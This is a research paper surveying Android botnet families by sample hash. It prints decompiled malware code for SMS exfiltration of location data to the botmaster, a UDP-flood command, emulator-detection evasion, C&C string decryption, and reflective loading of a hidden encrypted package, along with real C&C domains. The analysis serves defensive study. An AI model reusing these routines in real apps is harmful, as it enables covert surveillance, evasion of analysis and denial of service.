A timeline of mobile botnets

sha256sum: a3444b5c12334b24a587c083eb6c73d3a982397abd0a5eff3d1718bc1c392896

This variant responds with the user’s GPS location along with a Google Maps link on receipt of the innocent-looking SMS command ‘how are you?’. The location-grabbing functionality is implemented by the code shown in Figure 1.

Figure 1. Location-grabbing functionality in Android/SmsHowU.

The requestLocationUpdates() function registers the current activity to be updated periodically with location updates by a provider that matches the requirements specified by localCriteria [9]. There are no constraints on the time interval between updates, but the distance between location updates is constrained to 10 metres.

The Google Maps link creation is implemented by the code below, which is based on snippets from the original malware code:

Geocoder localGeocoder;
localGeocoder = new Geocoder(this.context, Locale
  .getDefault());
localList = localGeocoder.getFromLocation(paramLocation
  .getLatitude(), paramLocation.getLongitude(), 1);
Address localAddress = (Address)localList.get(0);
if (localList != null)
{
  localStringBuffer2 = new StringBuffer();
  localStringBuffer2.append
    (“Android device map link: \n”);
  localStringBuffer2.append
    (“http://maps.google.de/maps?q=”);
  localStringBuffer2.append(URLEncoder
    .encode(localAddress.getAddressLine(i) + “,”));
}
Object localObject = localStringBuffer2;

The collected information is then sent via SMS, as implemented in the code below, where ‘_to’ is the sender of the SMS command, i.e. the botmaster:

if (localObject != null)
{
  String str4 = localObject.toString();
  SmsManager sms;
  his.sms.sendTextMessage(this._to, null, str4,
    this.sentIntent, null);
}

sha256sum: 1a18e48fbd79ce84d946b4d065a7e30c5f10a4762437a6c8d888348afbab685f

What makes this malware family interesting is that it supports a command called ‘connectProxy’. When this command is received, the bot opens a connection to an IP address and port specified by the package’s configuration file, and redirects traffic to this location, thus allowing a remote attacker to use the infected device as a proxy server.

sha256sum: b63c33cc71eda01b79572e1f8b82b703f9c088fde6966c7cf855f00f8c77775d

This bot variant contacts Twitter accounts to acquire the names of C&C servers to contact. This functionality is implemented in the following steps:

sha256sum: c88a6e66e300268bcb6bd8f725565c24a04bc70bbba8c522235bfb505623ed2d

This bot variant shows no explicit signs of its presence once it is installed. However, it is launched every time the official Google Play application is launched. It implements this functionality by adding the application’s main intent to the category android.intent.category.APP MARKET, which is sent out when the Google Play application is launched. The implementation is shown in Figure 3.

Figure 3. Android/Tascudap’s functionality to ensure it is launched with Google Play.

More interestingly, apart from being able to process commands for sending SMS messages and sending heartbeat messages back to the attacker, it can also be made to send numerous UDP packets to a specific destination. This is implemented in the code shown in Figure 4 and can only be explained as an attempt at a denial of service (DoS) attack on a destination specified by the attacker.

Figure 4. Android/Tascudap’s denial of service feature.

(Click here to view a larger version of Figure 4.)

The exact implementation of this command is as follows:

if
 User receives SMS containing
    “\#u[Dst]:[Port]:[c]:[d]” or
    “\#u[Dst]:[Port]:[d]”
then
  Send large number of UDP packets containing randomly generated byte array of random length to the address Dst at port Port, d number of times. 
  The value c, whose default value is 500, is used for the generation of the byte array.

sha256sum: 7b1746778d0196bf01251fd1cf5110a2ef41d707dc7c67734550dbdf3e577bb9

This bot variant is interesting for its ability to process a command called ‘usb autorun attack’ which leads to the download of certain files from the C&C that could be used to infect a PC when the phone is connected to it in USB mode. The implementation of this functionality is shown in Figure 5.

Figure 5. Android/Claco’s ‘usb autorun attack’ command.

It also implements another interesting command called ‘ringer’ that is followed by a parameter. Depending upon the value of this parameter, the phone’s ringer state is set to ‘silent’ or ‘normal’. The corresponding code is shown in Figure 6.

Figure 6. Android/Claco’s ‘ringer’ command.

sha256sum: 498b425a8536ce03b5738e1ba3339f70ec2680bc437e1650084d8b908a343405

This bot variant checks the IMEI value of the device it is being run on and forwards it to a URL that is specified in the package. The application continues to run only if the response ‘y’ is received, otherwise it exits. The code implementing this anti-debugging trick, which allows the selective, IMEI-based, attacker-determined execution of this bot, is shown in Figure 7.

Figure 7. Anti-debugging trick in Android/NickiSpy.B.

The check() function implements the HTTP request made and returns ‘true’ if the response ‘y’ is received.

sha256sum: 15281dbe2603f5973d 53c5fddabbcc3de6ad3ec65146aa2ffb34a779ea604f82

This variant checks the IMEI value of the device it runs on, and if it contains the string ‘000000000000000’, the application exits. This is a useful emulator detection mechanism since the string corresponds to the IMEI value on the widely used emulators that come with the Android SDK [10]. The implementation can be seen in Figure 8.

Figure 8. Emulator detection in Android/Crosate.A.

sha256sum: 032a095067442d60d0df9fadab07553152e5500a67fc95084441752eafd43f70

This variant checks whether it is being run on an emulator by checking certain parameters such as the IMEI, model name, phone number, etc. for default values found on an emulator. We can only assume that this is done with the intention of hindering dynamic analysis of the malware on an emulator. The values are listed below:

Build.PRODUCT = “sdk” or “generic”
Build.MODEL = “sdk” or “generic”
IMEI = “351565050260436” or “000000000000000”
  or “357242043237517” or “012345678912345”
Phone Number = “15555215554”
Build.HARDWARE = “goldfish”
Nw = “Android

If any of the above values are true, the malware doesn’t launch the function implementing its botnet capabilities, thereby effectively hiding its malicious behaviour.

sha256sum: b103f3897b1619dee157e62a1737e864452a85bab613ad971ac6193b3f6a4834

This variant checks for the value of the device’s IMEI and phone number to detect an emulator. This is implemented using a code snippet similar to that shown below:

this.telephonyManager = ((TelephonyManager)
  getSystemService(“phone”));
String deviceId = “deviceid:” + this.
  telephonyManager.getDeviceId();
String phoneIdentity = this.
  telephonyManager.getLine1Number();
if ((phoneIdentity.startsWith(“15555”)) ||
  (deviceId.startsWith(“00000000”)))
System.exit(0);

The IMEI value used for emulator detection is ‘00000000’. However, this check doesn’t function due to a coding flaw. If the phone number on the device begins with ‘15555’, the application exits. This helps with emulator detection since the default phone number on a standard emulator is ‘15555215554’.

For multiple emulator instances running in parallel, the last four digits of the phone number are incremented to the next even number within the range 5554 to 5584 [11].

sha256sum: b84ebe48e60d74984e7 e9f5d8c12c2c578ea3554b73df4af8209bbdb7276c839

The C&C URL is ‘encrypted’ with a simple algorithm that uses only alternate characters of a given string. The decryption routine is implemented in the function com.android.main.a.a() of the package that takes the encrypted string and an integer as arguments. This class is defined as follows:

public static String a(String paramString, int paramInt)
{
  StringBuffer localStringBuffer = new StringBuffer();
  String str1, str2;
  int i = paramString.length();
  for (int j = 0; ; j++)
  {
    if (j >= i / 2)
    {
      str2 = localStringBuffer.toString();
      String str3 = str2.substring(0, paramInt);
      if (paramInt <= 0)
      {
        str1 = str2.substring(paramInt, str2.
          length() - 3) + “.” + str2.
          substring(str2.length() - 3);
      }
     str1 = str3 + “.” + str2.substring(paramInt,
       str2.length() - 3) + “.” +
        str2.substring(str2.length() - 3);
      break;
    }
    localStringBuffer.append(paramString.substring
      (1 + j * 2, 2 + j * 2));
    }
    return str1;
}

An example of its use in a bot sample is as follows:

a(“3lgoagdmfejekgfos9t15chojm”, 3) = “log.meego91.com”

sha256sum: 7a771f17e3315c9a93 b6ccb1cd5e5e03ca8feeb2d02369d13e5dcdb0b95aaca8

This sample uses a custom string encryption method. The decrypted string is calculated as [char -position]. The decryption code can be found at [12]. To give an example, decryption of the string below results in a configuration string used by the bot:

decrypt d = new decrypt();
String str=d.a(“7B237868263F283F36392C372E7B7183324
B3443364138807B8D3C553E4D404B42849796465F8149909D
9E9B665C5D909193949697999A9C9D679DAAA977766F78717
1B372AFB9B76AA6766DBFB6708972838284768178BAC17B94
7D8D7FDB”);
System.out.println (“Decryption result: “+str);

gives the output:

Decryption result: {“ve”:”8.0”,”nct”:”0”,”ict”:”0”,
“cus”:[“http://aabbccddee.com:8080/p.jsp”],
“si”:”201”,”ci”:”1”}

sha256sum: c88a6e66e300268bcb6bd8f725565c24a04bc70bbba8c522235bfb505623ed2d

This variant also makes use of a custom encryption method based on arithmetic and logical operations, for hiding the C&C address. The decryption can be found at [13]. The decrypted output looks like this:

Output = gzqtmtsnidcdwxoborizslk.com

sha256sum: 1a18e48fbd79ce84d946b4d065a7e30c5f10a4762437a6c8d888348afbab685f

In this case, the configuration file is encrypted using AES. The bot decrypts a file in the package assets using AES with a key that is the SHA-256 hash of a hard-coded string. This implementation can be seen in the bot’s code in Figure 9.

Figure 9. AES decryption using a key obtained from the SHA256 hash of a hard-coded string in Android/NotCompatible.

sha256sum: 5d2b0d143f09f31bf52f0ffa0810c66f94660490945a4ee679ea80f709aae3bd

This variant XOR ‘encrypts’ the traffic sent to the C&C. The encryption can be seen in Figure 10, where paramArrayOfByte contains the information to be sent to the C&C.

Figure 10. Traffic encryption by Android/LuckyCat.

sha256sum: 9390a145806157cadc54ecd69d4ededc31534a19a1cebbb1824a9eb4febdc56d

This bot variant gets its C&C address from a file in the package assets called proper.ini. The contents of the file between the characters ‘<####’ and ‘####>’ are read and then XOR decrypted, as shown in Figure 11.

Figure 11. XOR decryption in Android/SaurFtp with a key providing life advice.

(Click here to view a larger version of Figure 11.)

The result of the decryption is shown below:

#### http://android.uyghur.dnsd.me/default.htm ####
android.uyghu?O????I?E[\U?SBQE???1?S??F?PFR???,U???
?JWNFNEJ?GLMT?RF?JM?P?XVQQZMPGG\TUT?T[P?ARBRWMP[Q?XˆT?A\Kˆ[GJ?SLNNJT

This result is split at ‘####’, with the first half of the split serving as the C&C server address from where the bot acquires the address of an FTP server to which all the collected information is finally uploaded.

sha256sum: 522e7ded785cfedb 5e5200bcf29be072d4e16ba5868b83dcf729d769231303fb

This variant DES encrypts values of the POST parameters, i.e. the collected data, in traffic sent to the C&C, as can be seen from the code shown in Figure 12.

Figure 12. Android/JSmsHider.A DES encrypts traffic to C&C.

sha256sum: 66d90617f49aa2449e338455d3b9ce852c2ca45d5460c1e9e40bb050333b7dfb

This bot variant contains an encrypted binary in the package assets under the name WebView.db.init. The file is decrypted using AES with a hard-coded key, as shown in Figure 13. The resulting decrypted file is an ELF binary which is then executed and communicates with the C&C, downloading other packages and installing them.

Figure 13. AES decryption routine in Android/KungFu.E. The byte array WP contains the hard-coded key.

sha256sum: 6c4aebf5043ea6129122ebf482366c9f7cb5fbe02e2bb776345d32d89b77a2e0

These variants make use of Java code from a native library in order to drop an executable onto a rooted Android device. The native library contains encrypted strings that are first decrypted before the library can drop the malicious executable. The decryption scheme used is a bitwise NOT operation on each byte of the encrypted string. This can be seen in the native library’s IDA disassembly shown in Figure 14.

Figure 14. Bitwise NOT decryption of strings in native libraries used by Android/DroidKungfu.F, G.

sha256sum: b103f3897b1619dee157e62a1737e864452a85bab613ad971ac6193b3f6a4834

This variant hides its main malicious activity within a package that is encrypted and hidden within itself. The inner malicious package is present in the original package as an asset file and is decrypted using DES before it can be loaded and the malicious functions called. The implementation of this decryption and class loading can be seen in the code in Figure 15. The code in the figure shows the DES decryption of an asset file ‘ds’ using the key ‘gjaoun’. The decryption results in an Android package that is saved in the package directory as ‘x.zip’ and loaded using the following command:

localDexFile = (DexFile)Class.forName(“dalvik.system
.DexFile”).getMethod(“loadDex”, arrayOfClass)
.invoke(null, arrayOfObject);

This invokes the ‘dalvik.system.DexFile.loadDex()’ function using reflection, a technique that is commonly used to hide function calls.

Figure 15. Decryption and loading of an inner malicious package by Android/Wroba.I.

Figure 16 shows the kind of channel used for communication with the C&C by different bot variants. Of the 43 variants that make use of HTTP, Figure 17 shows a plot of the number of variants that make use of HTTP communication to the standard port, i.e. 80, vs. those that use a non-standard port.

Figure 16. C&C channels used by different bot variants. (¹Variants using HTTP or HTTPS; ²Variants using both HTTP and SMS as C&C channels.)

Figure 17. Ports used by variants using an HTTP C&C channel. (¹These two variants used HTTPS and HTTP with TOR respectively.)

Figure 18 plots what information is leaked by default against the number of variants. Information leaked by default refers to data that is sent simply upon launching the malware, without the receipt of any command from the botmaster.

Figure 18. Information leaked by default by different variants. (¹This information covers everything accessible through the ‘android.os.Build’ class.)

Device administration is a feature available on devices that run an Android version >= 2.2. This feature is available by means of an API [17] that mainly provides device administration features at the system level. It was introduced mainly to facilitate the development of security-aware applications. However, it is also interesting to attackers for the escalated rights it confers on an application.

The most common motivation seen for its use in malware is to make uninstallation of the malware tricky. If the user grants device administrator privileges to an application after installation, it can only be uninstalled if its corresponding device administrator is deactivated from the phone’s ‘Location & security’ settings menu. Without knowledge of this information, a user could assume the application in question is uninstallable.

Figure 19 shows the percentage of bot variants studied that request these privileges from the user after installation.

Figure 19. Percentage of variants requesting device administrator privileges.

During classification of variants based upon their motives, the lines between different categories can become blurred and it can generally be assumed that they all finally merge towards monetary gain. For the purposes of this paper, the most evident motive was given preference.

Figure 20 shows a plot based on the main motives for the creation of the different bot variants, surmised based upon the bots’ functionalities.

Figure 20. Main motives behind creation of bot variants.

Figure 21 plots the number of variants against the certificates used to sign one sample of each. The certificates have been classified under three categories.

Figure 21. Certificates used for signing different bot variants.